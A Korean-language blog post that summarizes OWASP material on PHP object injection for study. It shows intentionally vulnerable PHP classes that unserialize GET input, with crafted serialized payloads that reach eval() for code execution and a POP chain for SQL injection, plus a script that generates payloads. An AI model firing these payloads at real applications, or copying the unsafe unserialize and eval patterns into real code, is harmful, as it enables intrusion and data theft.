webhacking/etc

PHP Object Injection

qkqhxla1 2015. 10. 2. 13:49

https://www.owasp.org/index.php/PHP_Object_Injection 해석, 정리.


추가.

http://securitycafe.ro/2015/01/05/understanding-php-object-injection/ 여기도 좋은자료.

따로 블로그에 정리해놓은게 없어서 정리..


php object injection은 어플리케이션 레벨의 취약점이며, 이것은 공격자가 code injection, sql injection, path traversal, application denial of service같은 악의적인 공격을 실행하도록 하는 취약점이다. 이 취약점은 유저의 입력이 unserialize()함수를 거치기 전에 적절하게 처리되지 않았을 경우 발생한다.

php가 object serialization을 허용하기 때문에 공격자는 unserialize()함수에 취약한 ad-hoc serialized된 문자열을 보낼 수 있다. 그것은 어플리케이션 범위에서의 이상한 php object injection을 초래하게 된다.


성공적인 php objection injection취약점을 exploit하기 위해서 두가지 조건이 만족되야 한다.

1. 어플리케이션은 php의 매직 메소드(__wakeup이나 __destruct같은)를 구현한 클래스를 가지고 있어야 한다. 그것은 악의적인 공격을 실행하거나 pop chain을 시작하는데 사용될수 있다.

2. 공격중의 모든 클래스들은 취약한 unserialize()가 호출되기 전에 선언되야 한다. 반면에 객체의 autoloading은 몇몇 클래스에서 지원되야 한다.


공격 예시도 그대로 가져옴.

<?php
	class Example1
	{
	   public $cache_file;

	   function __construct()
	   {
		  // some PHP code...
	   }

	   function __destruct()
	   {
		  $file = "/var/www/cache/tmp/{$this->cache_file}";
		  //if (file_exists($file)) @unlink($file);
		  echo "<br />" . $file . "<br />";
	   }
	}

	$user_data = unserialize($_GET['data']);
	print_r($user_data);
?>

이런식의 index.php파일이 있을때 

http://localhost/index.php?data=O:8:"Example1":1:{s:10:"cache_file";s:9:"index.php";}

이런식으로 get데이터를 보내서 내가 원하는 값을 $cache_file에 넣을 수 있다.


GET으로 전달되는 데이터 내용. O:8:"Example1"은 8글자의 객체 이름이 오고 그 이름은 Example1이다. s:10:"cache_file"에서 s:10은 10글자가 들어온다는 소리, 뒤의 글자가 10글자임을 확인할수 있다. s:9:"index.php"도 마찬가지이다. 중간의 :1:은 Example1내부에 설정할 변수가 1가지라는 뜻인듯.


두번째 예제. OWASP에는 쿠키로 되어있지만 실험하기 편하게 GET으로 바꿔서가져옴. 

첫번째 예제의 변수 $cache_file;은 public이었지만 두번째 예제는 공격해야될 변수가 private변수이다.

<?php
	class Example2
	{
	   private $hook;

	   function __construct()
	   {
		  // some PHP code...
	   }

	   function __wakeup()
	   {
		  if (isset($this->hook)) eval($this->hook);
	   }
	}

	$user_data = unserialize($_GET['data']);
	print_r($user_data);
?>

공격.

data=O:8:"Example2":1:{s:14:"%00Example2%00hook";s:10:"phpinfo();";}

private변수를 가리키려면 중간에 %00이 꼭 들어가야 한다. 왜그런지는 잘 모르겠다. %20으로 변경해봤을때 안되고, %00을 지우고 s:13으로 변경해도 안된다. 뭔가 이유가 있을거같은데 더 삽질중.


세번째 예제. pop chain을 이용한 sql injection.


환경구성.

mysql> select * from prob;

+--------+----------------------+

| id     | pw                   |

+--------+----------------------+

| guest  | 1234                 |

| admins | sleep(2)             |

| admin  | 0cc175b9c0f1b6a831c3 |

+--------+----------------------+

3 rows in set (0.08 sec)

<?php

	$dbconnect = mysql_connect("localhost","root","kds1616");
	if(!$dbconnect){
        die("[connection error]".mysql_error());
    }
	$conn = mysql_select_db("mydb");
	if(!$conn) die("[DB selection error]".mysql_error());

	class Example3
	{
	   protected $obj;

	   function __construct()
	   {
		 // some PHP code...
	   }

	   function __toString()
	   {
		  echo "<br />tostring!<br />";
		  if (isset($this->obj)) return $this->obj->getValue();
	   }
	}

    //echo $_COOKIE[data] . "<br />";
	$user_data = unserialize($_GET['data']);

	class SQL_Row_Value
	{
	   private $_table;

	   // some PHP code...

	   function getValue()
	   {
		  //echo "getvalue! id = " . $id . "<br />";
		  $sql = "SELECT * FROM {$this->_table}";
		  echo "<br />sql = " . $sql . "<br />";
		  $result = mysql_query($sql);
		  $row = mysql_fetch_assoc($result);
		  return $row['id'];
	   }
	}

	echo "execute<br />";
	print_r($user_data);
	echo "result = " . $user_data;
?>

공격코드 : http://localhost/index.php?data=O:8:"Example3":1:{s:6:"%00*%00obj";O:13:"SQL_Row_Value":1:{s:21:"%00SQL_Row_Value%00_table";s:4:"prob";}}


1. php magic method에 대한 이해(특히 __tostring()이 언제 호출되는지 살펴보기) :  php magic method

2. 코드가 어떻게 동작하는지 눈으로 이해.

3. 예제 1,2의 베이스를 이용해서 공격 코드 이해. 공격하면 코드 실행결과를 따라가기 쉽도록 중간중간 echo문을 넣었으니 보면서 따라가보기.


주의.

1. public변수와 private, protected변수의 전달방법이 각각 다름. 위에 참조하면서 어떻게 다른지 보기.

2. serialize()관련된 코드들은 대충 살펴보면 어떻게 만들어지는지 분석할 수 있으나 

class SQL_Row_Value
{
   private $_table = "SQL Injection";
}

class Example3
{
   protected $obj;

   function __construct()
   {
      $this->obj = new SQL_Row_Value;
   }
}

print urlencode(serialize(new Example3));

요렇게 코드로도 원하는 serialize를 생성 가능함.(근데 내가보기엔 만들어지는걸 분석하고 직접 만드는게 더 편할지도..)

3. __로 시작하는 매직 메소드를 보면 이거 생각하기.


추가.

읽어보기 : http://lab.truel.it/2015/09/php-object-injection-the-dirty-way/

'webhacking > etc' 카테고리의 다른 글

공유받은 웹문제 일부.  (0) 2015.08.29
codeshell.kr adm1nkyj trick 1, 2  (0) 2015.08.25
이전 ctf연구 (hack.lu)  (0) 2015.08.22
php 취약 함수 관련  (0) 2015.08.21
codeshell.kr hash col, dummy 64  (0) 2015.08.10